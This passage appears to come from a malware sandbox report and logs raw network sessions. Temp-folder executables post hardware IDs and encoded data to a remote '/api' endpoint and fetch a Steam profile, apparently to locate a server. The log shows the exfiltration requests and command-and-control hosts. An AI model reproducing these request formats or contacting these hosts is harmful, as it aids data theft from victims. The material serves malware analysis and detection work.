2024-10-21 08:47:21 UTC	1369	IN	Data Raw: 38 4e 74 59 43 30 79 4d 73 38 79 5a 57 6e 50 65 6c 76 4c 45 6f 6a 55 7a 6a 55 56 34 31 70 43 67 6c 36 54 4b 4e 4c 63 54 6c 74 68 30 33 7a 77 50 58 43 30 32 36 5a 33 6f 38 39 36 32 4d 70 55 57 78 70 64 63 45 57 6c 79 6b 4b 44 7a 41 62 36 55 64 35 4e 32 69 4d 51 72 43 47 76 74 66 4c 50 4d 65 54 71 53 72 39 59 53 74 4e 4c 55 45 2f 30 46 36 4e 59 41 59 4b 64 55 53 74 44 7a 4a 30 62 4a 38 4e 36 38 36 55 79 4d 41 69 79 34 6d 73 65 4f 51 71 50 41 63 70 58 33 57 47 47 49 70 6f 43 51 4a 30 54 61 64 4c 63 44 4a 6c 69 6b 4b 31 68 4c 58 43 77 53 62 4a 6e 36 45 7a 39 47 51 67 53 69 70 56 4f 64 39 64 7a 69 64 4e 42 47 67 44 38 51 39 53 4d 32 69 56 44 34 61 4e 75 38 76 4d 4f 49 47 42 34 69 47 37 59 79 6b 48 64 68 4d 37 32 31 65 63 61 42 38 47 66 6c 47 6c 53 6e 6f 35 61 Data Ascii: 8NtYC0yMs8yZWnPelvLEojUzjUV41pCgl6TKNLcTlth03zwPXC026Z3o8962MpUWxpdcEWlykKDzAb6Ud5N2iMQrCGvtfLPMeTqSr9YStNLUE/0F6NYAYKdUStDzJ0bJ8N686UyMAiy4mseOQqPAcpX3WGGIpoCQJ0TadLcDJlikK1hLXCwSbJn6Ez9GQgSipVOd9dzidNBGgD8Q9SM2iVD4aNu8vMOIGB4iG7YykHdhM721ecaB8GflGlSno5a
2024-10-21 08:47:21 UTC	1369	IN	Data Raw: 4e 75 38 76 4d 4f 49 47 42 34 69 47 37 59 79 6b 48 64 68 4d 35 31 31 69 46 59 77 6b 44 64 30 36 73 54 48 73 33 5a 6f 42 48 76 59 6d 78 79 63 49 6a 78 35 36 72 50 50 35 32 49 45 34 69 58 33 57 51 47 49 6c 78 54 56 73 77 62 4b 35 5a 66 78 74 6f 6c 6b 54 7a 6b 66 76 63 69 79 6e 4e 33 76 52 34 2f 47 45 74 54 43 68 62 4e 63 78 64 67 47 49 4d 43 58 5a 43 70 45 4e 36 4e 47 71 48 53 37 2b 4f 73 73 4c 5a 50 4d 53 59 76 6a 4b 37 4b 6d 56 41 4e 68 4e 74 6e 6d 36 65 66 68 77 56 4d 6e 61 71 51 58 49 7a 66 63 64 53 2f 5a 66 31 77 73 64 75 6d 64 36 6e 4f 50 64 6a 4c 55 45 71 57 7a 72 52 55 5a 78 6f 41 51 31 69 52 4b 6c 47 63 6a 74 6e 6a 6b 43 30 67 37 37 50 78 69 72 47 6e 2b 78 32 75 32 4d 39 42 33 59 54 41 38 35 56 67 6b 63 47 44 33 6b 44 74 67 46 6c 64 47 79 4c 44 65 Data Ascii: Nu8vMOIGB4iG7YykHdhM511iFYwkDd06sTHs3ZoBHvYmxycIjx56rPP52IE4iX3WQGIlxTVswbK5ZfxtolkTzkfvciynN3vR4/GEtTChbNcxdgGIMCXZCpEN6NGqHS7+OssLZPMSYvjK7KmVANhNtnm6efhwVMnaqQXIzfcdS/Zf1wsdumd6nOPdjLUEqWzrRUZxoAQ1iRKlGcjtnjkC0g77PxirGn+x2u2M9B3YTA85VgkcGD3kDtgFldGyLDe
2024-10-21 08:47:21 UTC	1369	IN	Data Raw: 78 53 48 41 6d 71 6b 39 2f 32 4d 68 51 53 45 54 65 35 35 66 6c 69 6c 56 51 31 39 6b 6e 41 31 64 44 69 75 59 41 36 72 4f 73 73 6d 4c 64 6f 47 53 72 7a 54 7a 61 79 4e 4f 49 6c 6b 38 31 56 53 46 62 51 45 4b 64 55 57 6f 53 6e 6b 31 62 34 74 48 74 59 32 32 79 73 51 68 79 64 37 69 65 50 78 38 5a 52 39 75 64 69 4c 56 56 6f 67 70 45 6b 31 70 41 36 35 44 50 47 77 72 69 30 53 31 69 4c 44 4a 79 69 6a 4a 6d 36 51 38 2b 6d 49 6a 52 43 46 58 4d 4e 39 58 69 6d 55 44 43 58 46 43 70 55 52 7a 50 32 37 48 41 2f 4f 4a 72 59 57 54 62 76 43 64 75 69 2f 72 61 47 56 59 59 45 70 31 32 56 54 4f 4d 55 30 43 59 6b 6d 6a 51 58 6b 37 62 6f 52 43 74 49 4f 7a 79 63 45 6e 79 5a 69 6a 4d 65 6c 6e 4b 55 6b 70 58 54 6e 51 56 59 52 71 41 45 4d 2b 41 36 35 58 50 47 77 72 71 30 71 2b 6f 4c 37 Data Ascii: xSHAmqk9/2MhQSETe55flilVQ19knA1dDiuYA6rOssmLdoGSrzTzayNOIlk81VSFbQEKdUWoSnk1b4tHtY22ysQhyd7iePx8ZR9udiLVVogpEk1pA65DPGwri0S1iLDJyijJm6Q8+mIjRCFXMN9XimUDCXFCpURzP27HA/OJrYWTbvCdui/raGVYYEp12VTOMU0CYkmjQXk7boRCtIOzycEnyZijMelnKUkpXTnQVYRqAEM+A65XPGwrq0q+oL7
2024-10-21 08:47:21 UTC	1369	IN	Data Raw: 49 79 2b 65 4c 55 6b 49 6c 39 75 43 33 58 6f 58 35 35 35 44 6b 46 42 56 61 70 5a 64 7a 6c 6e 78 31 4c 39 6c 2f 58 43 78 32 36 5a 33 71 6f 33 38 6d 63 71 52 69 64 66 4f 4e 74 52 69 32 67 4c 42 33 70 4a 71 55 6c 36 4e 57 36 4e 54 72 4b 45 76 4d 4c 44 4b 63 4b 4d 37 48 61 37 59 7a 30 48 64 68 4d 63 32 55 71 41 65 55 30 63 50 6c 72 70 53 48 42 30 4d 38 64 4a 75 59 47 78 77 73 63 6f 78 4a 69 68 4f 66 52 6c 4a 55 67 71 57 44 7a 59 57 59 4e 73 41 41 64 69 53 61 4a 41 63 44 31 6e 69 67 33 39 7a 72 4c 64 69 33 61 42 72 36 45 32 39 57 4d 7a 42 7a 45 64 4c 4a 35 66 67 69 6c 56 51 33 46 50 70 6b 78 7a 4e 32 69 47 52 36 47 63 75 63 7a 44 4b 38 32 56 6f 6a 37 70 59 69 70 4f 4c 56 41 38 32 56 43 43 59 77 34 45 4d 41 33 70 53 47 52 30 4d 38 64 75 70 4a 36 34 68 64 52 67 Data Ascii: Iy+eLUkIl9uC3XoX555DkFBVapZdzlnx1L9l/XCx26Z3qo38mcqRidfONtRi2gLB3pJqUl6NW6NTrKEvMLDKcKM7Ha7Yz0HdhMc2UqAeU0cPlrpSHB0M8dJuYGxwscoxJihOfRlJUgqWDzYWYNsAAdiSaJAcD1nig39zrLdi3aBr6E29WMzBzEdLJ5fgilVQ3FPpkxzN2iGR6GcuczDK82Voj7pYipOLVA82VCCYw4EMA3pSGR0M8dupJ64hdRg
2024-10-21 08:47:21 UTC	1369	IN	Data Raw: 48 39 59 79 4e 4a 50 46 59 7a 30 56 65 48 59 41 6b 4c 63 30 4f 74 53 33 73 78 61 49 74 47 74 49 32 36 77 63 49 67 79 4a 48 73 64 72 74 6a 50 51 64 32 45 78 54 46 57 34 4a 6b 54 52 77 2b 57 75 6c 49 63 48 51 7a 78 30 47 39 69 37 58 50 7a 53 72 45 6d 4b 59 39 2b 32 38 6d 53 43 70 56 4d 64 46 59 68 57 41 4d 42 58 56 4a 6f 6b 6c 78 4e 32 32 42 44 66 33 4f 73 74 32 4c 64 6f 47 2b 74 7a 58 33 59 32 56 59 59 45 70 31 32 56 54 4f 4d 55 30 49 66 45 65 75 54 33 45 33 59 34 4a 4a 75 59 75 31 7a 64 6b 6d 77 5a 6d 2b 4b 76 74 74 49 45 73 74 55 7a 48 59 55 59 68 71 43 55 4d 2b 41 36 35 58 50 47 77 72 71 6b 47 30 70 37 4c 65 69 7a 47 50 68 2b 77 2f 39 79 52 39 42 79 39 59 50 39 46 56 6a 57 38 4f 43 48 56 4a 71 45 68 30 4f 58 6d 45 51 72 79 4b 74 63 72 4e 4b 4d 43 52 71 Data Ascii: H9YyNJPFYz0VeHYAkLc0OtS3sxaItGtI26wcIgyJHsdrtjPQd2ExTFW4JkTRw+WulIcHQzx0G9i7XPzSrEmKY9+28mSCpVMdFYhWAMBXVJoklxN22BDf3Ost2LdoG+tzX3Y2VYYEp12VTOMU0IfEeuT3E3Y4JJuYu1zdkmwZm+KvttIEstUzHYUYhqCUM+A65XPGwrqkG0p7LeizGPh+w/9yR9By9YP9FVjW8OCHVJqEh0OXmEQryKtcrNKMCRq
2024-10-21 08:47:21 UTC	369	IN	Data Raw: 6d 55 53 30 55 43 2b 42 2f 6d 47 4d 4b 45 33 64 55 70 67 38 79 64 47 54 48 46 59 72 4f 76 4d 4c 51 50 39 65 54 76 44 2b 37 57 32 73 48 4e 68 4e 74 6e 6d 32 4e 5a 77 4d 45 5a 6c 4c 6b 61 47 6f 2b 62 4a 64 4b 70 49 48 31 69 34 73 6f 67 63 62 2f 64 72 74 67 4e 41 64 32 41 32 65 46 44 64 30 2b 58 56 46 76 44 62 41 50 61 6e 51 7a 31 51 50 7a 6e 50 57 64 69 32 6e 43 6a 4c 34 2b 2b 48 49 6d 41 42 42 74 45 73 52 56 69 48 34 63 50 55 35 45 73 30 4a 36 49 33 72 4c 57 4c 43 41 75 38 4c 64 62 6f 2f 65 6f 33 69 6a 58 57 55 50 62 6d 78 37 6e 6b 44 4f 4d 55 30 32 63 30 32 6e 53 47 6f 6c 4a 71 42 58 76 6f 69 69 31 49 74 67 67 5a 6a 73 59 4b 73 71 5a 55 4d 2f 45 32 32 4f 43 74 55 38 58 6c 51 67 45 62 59 42 5a 58 52 39 78 78 58 68 77 50 58 58 69 33 61 42 32 61 38 71 36 57 Data Ascii: mUS0UC+B/mGMKE3dUpg8ydGTHFYrOvMLQP9eTvD+7W2sHNhNtnm2NZwMEZlLkaGo+bJdKpIH1i4sogcb/drtgNAd2A2eFDd0+XVFvDbAPanQz1QPznPWdi2nCjL4++HImABBtEsRViH4cPU5Es0J6I3rLWLCAu8Ldbo/eo3ijXWUPbmx7nkDOMU02c02nSGolJqBXvoii1ItggZjsYKsqZUM/E22OCtU8XlQgEbYBZXR9xxXhwPXXi3aB2a8q6W
2024-10-21 08:47:21 UTC	1369	IN	Data Raw: 32 36 34 36 0d 0a 32 68 7a 75 32 46 6a 43 33 54 6a 4b 6f 37 37 57 64 69 65 52 42 51 49 39 4e 58 68 57 67 7a 50 56 35 4f 71 45 78 79 64 6c 71 52 51 4b 4f 4e 73 4d 4c 31 45 4d 2b 5a 75 44 2f 31 59 69 55 48 59 42 4d 36 6e 67 43 33 4b 55 56 44 54 77 33 70 56 7a 78 73 4b 37 4a 4f 76 59 43 79 30 39 70 6a 34 6f 69 68 4e 2f 42 6c 5a 51 6c 75 56 58 57 47 43 4d 41 70 43 52 49 77 47 2f 6b 64 4a 32 45 34 30 42 33 68 6b 66 76 63 69 7a 69 42 78 76 35 32 75 33 5a 6c 48 32 34 55 4f 39 4e 5a 6a 57 63 4f 45 57 4a 46 71 6c 6c 2f 63 31 57 35 62 4c 36 46 75 63 6a 45 4a 66 2b 67 6a 54 58 77 61 43 68 49 4a 57 30 4c 79 31 75 41 5a 77 6f 56 59 51 50 6e 44 33 4e 30 4d 37 34 4e 2b 38 36 4b 69 34 73 32 67 63 62 73 44 66 68 71 4b 30 41 34 51 6e 6a 2f 56 59 56 6c 41 41 78 37 41 2b 63 Data Ascii: 26462hzu2FjC3TjKo77WdieRBQI9NXhWgzPV5OqExydlqRQKONsML1EM+ZuD/1YiUHYBM6ngC3KUVDTw3pVzxsK7JOvYCy09pj4oihN/BlZQluVXWGCMApCRIwG/kdJ2E40B3hkfvciziBxv52u3ZlH24UO9NZjWcOEWJFqll/c1W5bL6FucjEJf+gjTXwaChIJW0Ly1uAZwoVYQPnD3N0M74N+86Ki4s2gcbsDfhqK0A4Qnj/VYVlAAx7A+c
2024-10-21 08:47:21 UTC	1369	IN	Data Raw: 4a 46 4f 39 4c 43 4c 34 4e 77 74 30 5a 69 76 42 73 56 50 4b 55 45 70 53 54 4c 59 66 71 34 70 51 30 4e 2f 41 2f 46 32 50 48 77 72 75 41 50 7a 6c 76 57 64 69 78 76 43 6b 4b 49 2f 37 58 56 6f 59 6a 6c 51 4a 64 68 62 7a 69 64 4e 42 54 41 62 2b 51 45 38 4d 48 72 48 46 65 50 63 37 70 43 59 65 5a 48 4d 73 33 62 69 4a 44 4d 48 64 67 46 37 6e 6b 72 4f 4d 55 31 45 63 31 47 37 53 58 38 69 61 4d 42 7a 6a 61 69 32 31 4d 45 50 7a 49 36 72 42 73 56 78 4a 6b 6b 67 56 43 50 50 47 4d 41 70 41 6b 4d 6f 65 75 6b 48 4d 44 4a 6f 6b 51 32 4d 77 50 58 64 69 33 61 42 71 36 38 32 39 57 4d 7a 56 6d 4e 31 4e 73 39 53 72 32 51 64 42 44 41 4e 36 55 6b 38 62 44 6a 4a 44 62 65 66 39 5a 32 62 66 4a 72 4c 2f 32 2b 72 4e 6a 6f 4a 4e 78 4d 6a 6e 67 44 63 4a 30 30 52 4d 42 76 70 43 48 38 6d Data Ascii: JFO9LCL4Nwt0ZivBsVPKUEpSTLYfq4pQ0N/A/F2PHwruAPzlvWdixvCkKI/7XVoYjlQJdhbzidNBTAb+QE8MHrHFePc7pCYeZHMs3biJDMHdgF7nkrOMU1Ec1G7SX8iaMBzjai21MEPzI6rBsVxJkkgVCPPGMApAkMoeukHMDJokQ2MwPXdi3aBq6829WMzVmN1Ns9Sr2QdBDAN6Uk8bDjJDbef9Z2bfJrL/2+rNjoJNxMjngDcJ00RMBvpCH8m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49944	172.67.206.204	443	3408	C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:22 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=dvHUxLh5jTM1BO9uUWpXSFj4QlJKa.UxusuIwGc4TA0-1729500438-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: sergei-esenin.com
2024-10-21 08:47:22 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 39 37 31 41 31 43 44 36 32 45 31 42 38 44 34 43 31 36 36 46 31 34 36 43 32 31 35 41 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D1971A1CD62E1B8D4C166F146C215A77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-21 08:47:22 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-10-21 08:47:23 UTC	1022	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:47:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qiji3rpt0k2s8j7g1fioopm7gv; expires=Fri, 14 Feb 2025 02:34:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FK%2FClWWPwYsjfqvv66hFcbHkPTd%2FGs6gWFO59za8ncxjQ1Nqg6gc92soRwS04qQQVyN5dhujZY7Q19UJHCsr9kQ2Nmc2ZVQh4EUiqYyNR4lWxvgYLokOZqBjfziOgZYFxcb%2Fzg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ffb850e7e46a1-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1989&sent=12&recv=23&lost=0&retrans=0&sent_bytes=2845&recv_bytes=19220&delivery_rate=1425196&cwnd=250&unsent_bytes=0&cid=7ec59bb5efc10fe2&ts=1204&x=0"
2024-10-21 08:47:23 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 0d 0a Data Ascii: 11ok 155.94.241.186
2024-10-21 08:47:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49961	172.67.206.204	443	3408	C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:24 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=dvHUxLh5jTM1BO9uUWpXSFj4QlJKa.UxusuIwGc4TA0-1729500438-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: sergei-esenin.com
2024-10-21 08:47:24 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 39 37 31 41 31 43 44 36 32 45 31 42 38 44 34 43 31 36 36 46 31 34 36 43 32 31 35 41 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D1971A1CD62E1B8D4C166F146C215A77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-21 08:47:25 UTC	1019	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:47:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tocmfjk6pjegbmt0h1lj1vlbjj; expires=Fri, 14 Feb 2025 02:34:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t0lOrOiNhQuE%2Fy3RC3Pjo9vZMtqEeY8ky2gy7wZyO7C5IhTJ9ERgutd8ZCK2T2XGcRONQ%2BeVhq0a7ZAL2hP9trfIephEIyOybWy78%2FqHrafMh%2BIZDlT2u0psCdRxvek6Hpxc5w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ffb93ac592ca6-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1258&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2845&recv_bytes=9818&delivery_rate=2180722&cwnd=251&unsent_bytes=0&cid=55e151bbfae9558f&ts=622&x=0"
2024-10-21 08:47:25 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 0d 0a Data Ascii: 11ok 155.94.241.186
2024-10-21 08:47:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49974	172.67.206.204	443	3408	C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:28 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=dvHUxLh5jTM1BO9uUWpXSFj4QlJKa.UxusuIwGc4TA0-1729500438-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: sergei-esenin.com
2024-10-21 08:47:28 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 39 37 31 41 31 43 44 36 32 45 31 42 38 44 34 43 31 36 36 46 31 34 36 43 32 31 35 41 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D1971A1CD62E1B8D4C166F146C215A77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-21 08:47:28 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-10-21 08:47:28 UTC	1023	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:47:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=je8v30man8t7n8bmd1mg3349lv; expires=Fri, 14 Feb 2025 02:34:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FOCtIyYzsseeblsM9h4S4ti5Y1UbfkwytVx%2FhczjpNnwXD1gpW2S%2BUTbWJ3tVmEg0ICjWbOhnn2tGHgsutZANMlMUT4E1vACjURed%2B5Qw%2FwLJLuFWpnF0a7mNdelY2v8hBPuMg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ffba8bfe6e847-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1391&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21494&delivery_rate=2045197&cwnd=233&unsent_bytes=0&cid=d17df6af2f6464d4&ts=738&x=0"
2024-10-21 08:47:28 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 0d 0a Data Ascii: 11ok 155.94.241.186
2024-10-21 08:47:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49978	104.102.49.254	443	3940	C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:28 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-21 08:47:29 UTC	1891	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://ste [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Mon, 21 Oct 2024 08:47:28 GMT Content-Length: 34508 Connection: close Set-Cookie: sessionid=8c6f58bb71ae7c904b63d6d8; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd883ccb3237fa39d2837163d0f38217b; Path=/; Secure; 